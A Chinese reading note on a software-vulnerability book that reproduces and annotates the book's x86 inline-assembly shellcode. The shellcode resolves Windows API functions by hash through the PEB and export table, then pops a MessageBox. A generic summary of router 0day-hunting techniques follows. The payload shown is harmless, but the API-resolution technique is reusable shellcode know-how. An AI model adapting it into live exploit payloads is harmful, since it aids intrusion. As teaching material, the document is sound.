《0day:软件漏洞分析技术》读书笔记

//此代码出自《0day安全:软件漏洞分析技术》P93:添加注释
//注释中实际内存地址,就是虚拟地址。
#include <stdlib.h>
#include <stdio.h>

int main()
{
  _asm
  {
    CLD
    push 0x1e380a6a  ;MessageBoxA
    push 0x4fd18963  ;ExitProcess
    push 0x0c917432  ;LoadLibraryA
    mov esi, esp  ;esi指向的是LoadLibraryA
    lea edi, [esi - 0xc]  ;edi指向的是未使用的栈地址起始位置,用来保存函数地址

    xor ebx, ebx  ;ebx = 0
    mov bh, 0x04  ;ebx = 0x4
    sub esp, ebx  ;栈地址提升4个偏移

    mov bx, 0x3233  ;32
    push ebx
    push 0x72657375  ;user
    push esp    ;将栈中放入user32
    xor edx, edx  ;清edx

    mov ebx, fs:[edx + 0x30]  ;ebx进程环境块PEB的地址
    mov ecx, [ebx + 0xc]    ;ecx存放PEB_LDR_DATA结构体的指针
    mov ecx, [ecx + 0x1c]    ;ecx中存放指向模块初始化链表的头指针InInitializationOrderModuleList
    mov ecx, [ecx]        ;InInitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,
                  ;第一个是ntdll.dll,ntdll.dll所指向的就是kernel32.dll
    mov ebp, [ecx + 0x8]    ;ecx + 0x8就是kernel32.dll在内存中的加载基地址

find_lib_functions:
    lodsd            ;lodsd是把DS:ESI所指向的地址处的数据放入eax中,也就是0x0c917432
                  ;然后ESI+4,此时ESI指向的是ExitProcess
    cmp eax, 0x1e380a6a      ;此处用来判断是否把所有需要的函数地址都获取完成,MessageBoxA
    jne find_functions      ;由于MessageBoxA在user32.dll中,因此,需要先加载user32.dll
    xchg eax, ebp        ;使用ebp保存MessageBoxA的hash
    call [edi - 0x8]      ;LoadLibraryA 参数在上面,push esp那里
    xchg eax, ebp        ;此时ebp为user32.dll的基地址,eax为MessageBoxA的hash

find_functions:
    pushad            ;Push(EAX);0x0c917432  LoadLibraryA
                  ;Push(ECX);kernel32.dll链表节点
                  ;Push(EDX);为0
                  ;Push(EBX);进程环境块PEB的地址
                  ;Push(ESP);该ESP为执行pushad之前的ESP
                  ;Push(EBP);kernel32.dll在内存中的加载基地址
                  ;Push(ESI);esi指向的是ExitProcess
                  ;Push(EDI);edi指向的是未使用的栈地址起始位置,用来保存函数地址
                  ;此处入栈顺序必须记得,后面会使用到
    mov eax, [ebp + 0x3c]    ;Kernel32.dll基地址 + 0x3c是PE头
    mov ecx, [ebp + eax + 0x78]  ;此时ecx存放的是函数导出表的指针
    add ecx, ebp        ;导出表的此次加载实际内存地址
    mov ebx, [ecx + 0x20]    ;偏移0x20处指向导出函数函数名的列表
    add ebx, ebp        ;函数名的列表此次加载的实际内存地址
    xor edi, edi        ;edi清0,用来计数

next_function_loop:
    inc edi
    mov esi, [ebx + edi * 4]  ;取出每个函数名的地址
    add esi, ebp        ;函数名的实际内存地址
    cdq              ;把EDX的所有位都设成EAX最高位的值,可以暂时简单理解为把EDX清0

hash_loop:              ;此处循环计算hash
    movsx eax, byte ptr[esi]
    cmp al, ah          ;判断是否把函数名计算完成
    jz compare_hash
    ror edx, 7
    add edx, eax
    inc esi
    jmp hash_loop

compare_hash:
    cmp edx, [esp + 0x1c]  ;由于刚刚的pushad,把寄存器都压入栈中,此时esp指向的是栈中的EDI,
                ;esp + 1c指向的则是EAX,LoadLibraryA
    jnz next_function_loop
    mov ebx, [ecx + 0x24]  ;在导出表结构中,偏移0x24是导出函数序号的相对虚拟地址
    add ebx, ebp      ;导出函数序号的虚拟地址
    mov di, [ebx + 2 * edi]  ;获取第edi个函数的函数序号,由于函数序号是一个WORD型的数据,因此edi * 2
    mov ebx, [ecx + 0x1c]  ;此处为导出函数的相对虚拟地址
    add ebx, ebp      ;导出函数的虚拟地址
    add ebp, [ebx + 4 * edi];获取函数序号所对应的函数地址,这就是我们最终所需要的函数地址。
    xchg eax, ebp      ;eax为所需要的函数地址
    pop edi          ;EDI出栈,用来保存LoadLibraryA的函数地址
    stosd          ;mov [edi],eax    函数地址保存
                ;add edi,4
    
    push edi        
    popad          ;此时,相对于pushad的时候,只有edi变化了,增加了4,其它寄存器均未变化

    cmp eax, 0x1e380a6a    ;当所有地址都获取完成后
    jne find_lib_functions

function_call:
    xor ebx, ebx
    push ebx
    push 0x2121216E      ;
    push 0x3167304C      ;
    mov eax, esp
    push ebx        ;压入参数
    push eax
    push eax
    push ebx
    call [edi - 0x04]    ;调用MessageBoxA
    push ebx
    call [edi - 0x08]    ;调用ExitProcess
    nop
    nop
    nop
    nop
  }
  system("pause");
  return 0;
}

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
### 回答1: 《揭秘家用路由器0day漏洞挖掘技术》是一本讲解家用路由器漏洞挖掘的技术书籍。这本书主要讲述了路由器漏洞的挖掘原理、方法和步骤,以及如何利用漏洞获取系统的管理员权限。 书中首先介绍了家用路由器的基本原理和工作模式,以及路由器的基本安全机制,包括密码验证、防火墙等,再讲述了路由器漏洞的基础知识,如堆栈溢出、格式化字符串漏洞等,为读者打下了扎实的理论基础。 接着,书中详细讲解了路由器漏洞的挖掘方法和技巧,包括静态分析、动态分析和Fuzzing技术,其中尤其强调了Fuzzing技术的重要性。Fuzzing技术是一种自动化的漏洞测试方法,通过向系统输入大量随机的无效数据,来寻找系统的漏洞,是现代漏洞挖掘技术中不可缺少的一部分。 最后,书中还分享了一些实用的漏洞利用技巧,如ROP链、GOT覆盖等,帮助读者能够深入理解漏洞利用的原理和方法,更好地应对各种复杂情况。 总的来说,《揭秘家用路由器0day漏洞挖掘技术》是一本非常实用的技术书籍,对于研究家用路由器安全的人员来说是一本不错的参考书。同时,对于网络安全爱好者,这本书也有很好的启发和帮助作用。 ### 回答2: 《揭秘家用路由器0day漏洞挖掘技术》是一份技术文档,主要介绍了基于路由器的0day漏洞挖掘技术和攻击方法。首先,文档介绍了路由器的基本结构和工作原理,包括路由器的硬件和软件组成,以及路由器的主要功能。其次,文档讲解了如何使用路由器的操作系统和开源工具进行漏洞分析和挖掘。最后,文档介绍了一些实际案例,包括路由器上的重大漏洞和针对路由器的攻击手段。 在文档中,作者重点介绍了路由器中常见的漏洞类型,包括缓冲区溢出、格式化字符串漏洞等,以及漏洞挖掘的一般方法。特别是在讲解缓冲区溢出漏洞时,作者详细地介绍了漏洞的原理、危害和检测方法,为有志于从事漏洞挖掘工作的安全研究员提供了有益的指导和参考。 除了讲解漏洞挖掘技术,文档还介绍了路由器中常见的攻击手段,如ARP欺骗、DNS劫持、端口扫描和DDoS攻击等。同时,文档也指出了如何通过安全配置和固件升级等方法来提高路由器的安全性。 总之,这份文档从技术方面全面详细地介绍了家用路由器的漏洞和攻击,为安全研究工作者提供了更深入的认识和了解,也提醒用户关注家用路由器的安全性。需要指出的是,本文档旨在为安全研究和教育提供帮助,对非法攻击行为不作任何支持或鼓励。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值